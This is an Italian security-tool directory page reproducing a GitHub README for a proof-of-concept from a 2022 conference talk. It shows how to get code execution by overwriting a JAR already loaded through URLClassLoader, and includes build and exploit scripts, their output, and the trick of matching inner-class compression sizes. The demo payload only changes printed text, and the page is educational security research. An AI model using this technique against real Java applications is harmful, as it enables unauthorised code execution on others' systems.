Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
hot-jar-swapping-urlclassloader — Demo dello scambio di JAR tramite URLClassLoader che mostra la capacità di sostituire e sfruttare un JAR già caricato con classi interne. | Kitploit
Strumenti/GitHubGitHub/fransr/hot-jar-swapping-urlclassloader
ExploitApprendimento e FormazioneRed TeamingSviluppo Payload
GitHubfransr/hot-jar-swapping-urlclassloader

hot-jar-swapping-urlclassloader

Demo dello scambio di JAR tramite URLClassLoader che mostra la capacità di sostituire e sfruttare un JAR già caricato con classi interne.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
3273 anni faRevisionato da Kitploit

Sostituzione a caldo dei JAR con URLClassLoader

Il seguente codice di esempio mostra la possibilità di sostituire a caldo un file JAR già caricato e ottenere l'esecuzione di codice abusando del fatto che le classi interne accedono ancora al file JAR quando vengono invocate, purché l'inode non cambi.

Testato su macOS con OpenJDK (e sfruttato anche su Author Publisher di Apple usando Transporter).

Demo dal talk di Frans Rosén "Story of a RCE on Apple through hot jar swapping" del NahamCon 2022 EU.

Come eseguire

build-and-run.sh

Lo esegui con:

root@kitploit:~
./build-and-run.sh

Questo farà:

root@kitploit:~
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar

Bootstrapper caricherà ed eseguirà la classe HelloWorld.Main usando URLClassLoader e ti chiederà di eseguire il metodo hello della classe HelloWorld.Secondary, anch'essa già caricata. Questo serve a controllare il momento in cui sostituire il JAR già caricato.

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Ora puoi decidere se premere Invio senza sostituire alcun JAR: questo mostrerà il normale flusso di codice da HelloWorld/Secondary.java:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123

This is from the legit postVisitDirectory function:
testdir

End of run, goodbye

exploit.sh

Lo exploit.sh farà:

root@kitploit:~
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not

La parte di copia quando si sovrascrive HelloWorld.jar con exploit.jar è importante, perché se l'inode cambia l'exploit non riuscirà. Un comando mv scriverà un nuovo inode, ma cp su un file esistente non lo farà. La stessa cosa è successa con l'estrazione ZIP: l'inode del JAR già esistente non è mai cambiato, consentendo all'exploit di funzionare.

Se vuoi testare la sostituzione a caldo del JAR, esegui lo exploit.sh in un'altra finestra dopo aver avviato build-and-run.sh ma prima di premere Invio:

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

## Run this in a different terminal:

$ ./exploit.sh 

NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED

-rw-r--r--  1 frans  staff  2281 Dec  9 13:20 rce.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:20 ../HelloWorld.jar

## Now click enter in the other tab to complete the ./build-and-run.sh)

Se ora premi Invio su ./build-and-run.sh dovresti vedere correttamente il codice sostituito:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir

End of run, goodbye

Dimostrando che possiamo abusare del fatto che le classi interne/anonime vengono ancora caricate dal file JAR fisico anche se URLClassLoader ha già caricato il JAR prima che lo sostituissimo.

Spiegazione del problema

Questo repository di codice cerca di spiegare che puoi sovrascrivere file JAR già caricati per ottenere l'esecuzione di codice a fronte di alcuni prerequisiti.

L'idea è che il JAR sia stato inizialmente caricato con URLClassLoader:

root@kitploit:~
        URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
        URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
        Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
        Constructor<?> constructor = beanClass.getConstructor();
        Object beanObj = constructor.newInstance();
        Method method = beanClass.getMethod("hello");

Inoltre, un metodo secondario è stato caricato all'avvio ma mai invocato:

root@kitploit:~
        // Initiating the secondary class on boot, this is the one we replace the inner class of
        Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
        Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
        Object secondaryObj = secondaryConstructor.newInstance();
        Method secondaryMethod = secondaryClass.getMethod("hello");

Se il JAR viene poi sostituito mentre l'app è in esecuzione, e la classe che è stata caricata ma su cui non è mai stato invocato alcun metodo ha anche classi interne, possiamo fargli eseguire codice diverso dal nuovo JAR se l'invocazione avviene successivamente:

root@kitploit:~
        // Invoke secondary class hello that contains an inner class
        secondaryMethod.invoke(secondaryObj);

Quindi, se questo metodo contiene una classe interna (appaiono nel JAR come $1.class) e sostituiamo la classe interna con qualcosa che ha la stessa dimensione e lo stesso tasso di compressione, siamo in grado di sostituire a caldo il JAR e far eseguire il nostro codice.

Spiegazione dell'exploit

La classe anonima del file Exploit/HelloWorld/Secondary.java viene compilata nella classe interna Exploit/HelloWorld/Secondary$1.class, che ha la stessa dimensione e lo stesso tasso di compressione che si ottengono quando HelloWorld/Secondary.java viene compilato e compresso. Se dimensione o tasso di compressione differissero, otterresti un crash premendo Invio in build-and-run.sh.

Quindi, se cambi Exploit/HelloWorld/Secondary.java per esempio (functionn invece di function:):

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("\nThis is from the legit postVisitDirectory functionn");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }

Dove il risultato della compressione è lo stesso ma il tasso di compressione è sbagliato:

root@kitploit:~
$ ./exploit.sh 
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2280 Dec  9 13:44 exploit.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:44 ../HelloWorld.jar

vedresti:

root@kitploit:~
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Hello from secondary class, here are all files in testdir/

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
	at HelloWorld.Secondary.hello(Secondary.java:11)
	... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
	at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	... 6 more

Su OpenJDK sembra che se la dimensione originale differisce ma la dimensione compressa è la stessa, funziona comunque:

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }
root@kitploit:~
$ ./exploit.sh 
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2281 Dec  9 13:52 exploit.jar
-rw-r--r--@ 1 frans  staff  2282 Dec  9 13:52 ../HelloWorld.jar
root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir

Lo exploit.sh dirà comunque che c'è una differenza, dato che potrebbe non funzionare in tutte le versioni.

Noterai anche che se cambi qualcosa in Exploit/HelloWorld/Secondary.java al di fuori della classe interna, ad esempio:

root@kitploit:~
System.out.println("\nEnd of run, goodbye");

in:

root@kitploit:~
System.out.println("\nEnd of run, goodbya");

il che farà sì che Secondary.class abbia lo stesso tasso di compressione e la stessa dimensione; tuttavia non attiverà comunque il contenuto sostituito, poiché la classe è già stata caricata da URLClassLoader. Questo conferma che l'effetto riguarda solo le classi interne (quelle chiamate $1.class nel JAR), dato che vengono caricate dal file JAR quando vengono usate:

root@kitploit:~
End of run, goodbye
Scarica lo strumento